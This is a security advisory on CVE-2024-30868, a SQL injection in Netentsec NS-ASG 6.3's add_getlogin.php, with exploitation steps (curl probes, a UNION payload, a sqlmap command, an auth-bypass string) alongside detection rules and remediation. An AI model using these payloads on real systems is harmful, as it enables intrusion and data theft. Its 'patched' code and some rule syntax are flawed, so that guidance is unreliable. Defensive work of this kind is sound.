CVE-2024-30868

Executive Summary

CVE-2024-30868 is a critical SQL Injection vulnerability discovered in the Netentsec NS-ASG application version 6.3. The flaw resides in the /admin/add_getlogin.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, credential theft, and potential full compromise of the application database. No official patch has been released by the vendor, and public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (NS-ASG) from Netentsec. Organizations using this appliance should treat it as a critical supply chain risk due to the lack of vendor patch.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated SQL injection), the following is a reasonable assessment:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and has a high potential for data breach and system compromise.

Deep Dive & Mechanics

The vulnerability exists in the add_getlogin.php script within the admin panel of NS-ASG 6.3. The script likely processes user-supplied input (e.g., username or password fields) without proper sanitization or parameterized queries. An attacker can inject SQL metacharacters (e.g., ' OR 1=1 --) to manipulate the underlying SQL query.

Root Cause: The application directly concatenates user input into SQL statements instead of using prepared statements or stored procedures.

Attack Vector: The attacker sends a crafted HTTP POST or GET request to /admin/add_getlogin.php with malicious SQL payloads in one or more parameters.

Impact:

• Bypass authentication and gain admin access.
• Extract sensitive data (user credentials, configuration, logs).
• Modify or delete database records.
• Potentially execute operating system commands via xp_cmdshell or similar (if database permissions allow).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
?>

Note: The best practice is to use prepared statements:

<?php
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $_POST['username'], $_POST['password']);
$stmt->execute();
$result = $stmt->get_result();
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Netentsec NS-ASG 6.3.
• Network access to the admin interface.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -k https://target/admin/add_getlogin.php
   

2. Test for SQL injection:

   curl -k "https://target/admin/add_getlogin.php?username=admin'&password=test"
   

   If an error or unexpected behavior occurs, the endpoint is vulnerable.

3. Extract data using UNION-based injection:

   ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 --
   

4. Automated exploitation with sqlmap:

   sqlmap -u "https://target/admin/add_getlogin.php?username=admin&password=test" --batch --dbs
   

PoC Payload:

admin' OR '1'='1' -- -

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /admin/add_getlogin.php for unusual parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Enable Web Application Firewall (WAF) rules to block SQL injection patterns.
• Review database logs for anomalous queries.

Mitigation:

• Immediately isolate the NS-ASG appliance if possible.
• Implement input validation and parameterized queries (if custom code exists).
• Apply network segmentation to limit access to the admin interface.
• Monitor for indicators of compromise (IOCs) listed below.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/add_getlogin.php with parameters containing SQL metacharacters.
• Outbound database connections from the NS-ASG server to unknown IPs.
• Unusual database error messages in HTTP responses.

File System IOCs:

• Modified or new files in the web root (e.g., webshells).
• Suspicious entries in web server logs (e.g., access.log).

Log IOCs:

• Database logs showing UNION, SELECT, INSERT, DELETE statements from the web application user.
• Authentication logs showing successful logins from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2024_30868_SQLi_NSASG {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30868 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-30868"
    strings:
        $s1 = "/admin/add_getlogin.php" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
        $s6 = "--" nocase
    condition:
        $s1 and (any of ($s2,$s3,$s4,$s5,$s6))
}

Sigma Rule

title: SQL Injection Attempt Against NS-ASG Admin Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-30868
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains: '/admin/add_getlogin.php'
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - '1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30868 SQL Injection Attempt"; flow:to_server; content:"/admin/add_getlogin.php"; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; content:"OR"; http_uri; nocase; content:"1=1"; http_uri; nocase; content:"--"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the appliance: Disconnect the NS-ASG from the network if possible.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting /admin/add_getlogin.php.
3. Change all credentials: Reset passwords for all admin and database accounts.

Long-term Fixes:

• Contact Netentsec for an official patch or firmware update.
• If no patch is available, consider replacing the appliance with a supported alternative.
• Implement strict network segmentation to limit access to the admin interface.
• Enable detailed logging and monitoring for the NS-ASG.

Workaround:

• If the source code is accessible, manually fix the SQL injection by implementing parameterized queries.
• Restrict access to /admin/add_getlogin.php via firewall rules (allow only trusted IPs).

Valters IT